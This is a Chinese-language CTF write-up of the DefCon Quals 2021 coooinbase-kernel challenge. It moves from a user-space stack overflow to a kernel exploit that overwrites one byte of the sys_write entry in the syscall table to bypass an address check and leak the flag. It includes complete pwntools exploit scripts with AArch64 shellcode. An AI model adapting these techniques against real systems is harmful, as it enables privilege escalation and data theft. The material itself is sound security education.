DefCon Quals 2021 coooinbase-kernel的解题思路

本文首发于安全客:PWN掉一款小型开源OS——续篇:内核态PWN

title
本篇文章是coooinbase这道题的内核态利用。作为上一篇文章PWN掉一款小型开源OS——用户态利用的续篇,本文将解决上文遗留下的一些问题,并分析从userland到kerneland的利用机会。

遗留下的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import bson

context.arch = 'aarch64'

obj = {
'CVC':111,
'MON':1,
'YR': 2021
}
bs = bson.dumps(obj)

bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'A'*(0x60)
bs += b'\x00'
bs += b'\x00'

print(b64e(bs)+' ')

若按照上一篇文章的bson结构去构造payload,即'CVC':111,当payload大于一定长度时会导致不能到达以下分支,没法触发漏洞
title

原因是copy_payload的返回值不为0
title

copy_payload执行到这个分支即可返回0,经过测试'CVC':545能通过check
title

按以下方法构造bson序列,便能发送长字符串,并触发栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import bson

context.arch = 'aarch64'

obj = {
'CVC':545,
'MON':1,
'YR': 2021
}
bs = bson.dumps(obj)

bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'A'*(0x60)
bs += b'\x00'
bs += b'\x00'

print(b64e(bs)+' ')

title

源码审计

内核源码可以从此处下载
title

下面重点来审系统调用,include/syscall.h实现了以下一些系统调用
title

sys_readsys_write的实现,并未对传入的buf地址指针做检查,也就是可以call sys_readsys_write在内核空间任意读写
title

init/init_task.c处调用户态进程
title

通过call sys_execv系统调用分配进程资源,并装载用户态进程
title

静态分析

接下来用IDA打开coooinbase.bin,Processor type选ARM Little-endian,kernel装载基址为0xffff000000080000
title

查找字符串能看到flag所在的内核地址0xFFFF000000088858
title

对照源码,在内核程序中应当有一个系统调用表
title

0xFFFF000000087140地址处找到了这个系统调用表
title

sys_read调用,与源码没啥区别,可以对任意内核地址写入数据
title

sys_write调用,出题人加入了check,会检查addr <= 0xffff,只能打印出用户空间的内存信息
title

Debug

0xFFFF000000082A60之后就是通过check后代码
title

如能将系统调用表中指向sys_write的指针覆盖成0xFFFF000000082A60则能绕过check,而且这仅需要写1个byte
title

后续利用过程:
1.调sys_open打开/run这个文件,在这个文件里找到一个\x60byte对应的偏移
2.通过偏移sys_lseek到该处
3.调sys_read将该处的\x60写入到0xFFFF000000087140覆盖sys_write ptr的最后1 byte
4.调sys_write将内核地址中的flag打印出来

打开/run文件
title

/run是我们的用户态进程,装载到0x0的地址上,在offset = 0x3a2处找到了\x60byte。lseek到该处,将文件指针指向这个位置。
title

内核里关于sys_lseek实现的部分源码,whence需要设置成0,令fd指向一个绝对文件地址,也就是调sys_lseek(fd, 0x3a2, 0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//syscall.c:64~74
int sys_lseek(int fd, int offset, int whence)
{
struct file *filp;
if( (fd>=NR_OPEN) || (fd<0))
return -1;
filp = current->filp[fd];
if(filp==NULL)
return -1;

return file_lseek(filp, offset, whence);
}

//fs.c:363~387
int file_lseek(struct file *filp, int offset, int whence)
{
int pos = (int)filp->f_pos;

switch(whence){
case SEEK_SET:
pos = offset;
break;
case SEEK_CUR:
pos += offset;
break;
case SEEK_END:
pos = filp->f_inode->i_size;
pos += offset;
break;
default:
break;
}

if( (pos<0) || (pos>filp->f_inode->i_size) )
return -1;

filp->f_pos = (unsigned long)pos;
return pos;
}

//fs.h:45~56
#define I_NEW (8)

#define SEEK_SET (0)
#define SEEK_CUR (1)
#define SEEK_END (2)

struct file{
struct inode *f_inode;
unsigned long f_count;
int f_flags;
unsigned long f_pos;
};

sys_read(fd, 0xffff000000087140, 1)之后,系统调用表中的sys_write ptr便被写为0xffff000000082a60
title

再调用sys_write便能绕过addr <= 0xffff的check,打印出flag
title

Script

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import bson

context.arch = 'aarch64'

obj = {
'CVC': 545,
'MON': 1,
'YR': 2021
}
bs = bson.dumps(obj)

bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'B'*(0x18)
bs += p64(0xfc46)#ret addr

shellcode = '''ldr x0,=0x6e75722f // /run
mov x1, 0x0
stp x0, x1, [sp]
mov x0, sp
mov x5, 0x340 // SYS_open
blr x5

mov x4, x0 // save file descriptior
mov x1, 0x3a2 // offset of 0x60 in order to change SYS_write to after check
mov x2, 0x0
mov x5, 0x364 // SYS_lseek
blr x5

mov x0, x4 // move saved file desc
ldr x1, =0xffff000000087140 // syscall handler for write
mov x2, 0x1 // count
mov x5, 0x34c // SYS_read
blr x5

ldr x0, =0xffff000000088858 // addr of the flag
mov x2, 0x36 // count
mov x5, 0x310 // SYS_write
blr x5'''

payload = asm(shellcode)
bs += payload + b'\x00'
bs += b'\x00'

#print(hexdump(bs))
print(b64e(bs)+' ')
⬆︎TOP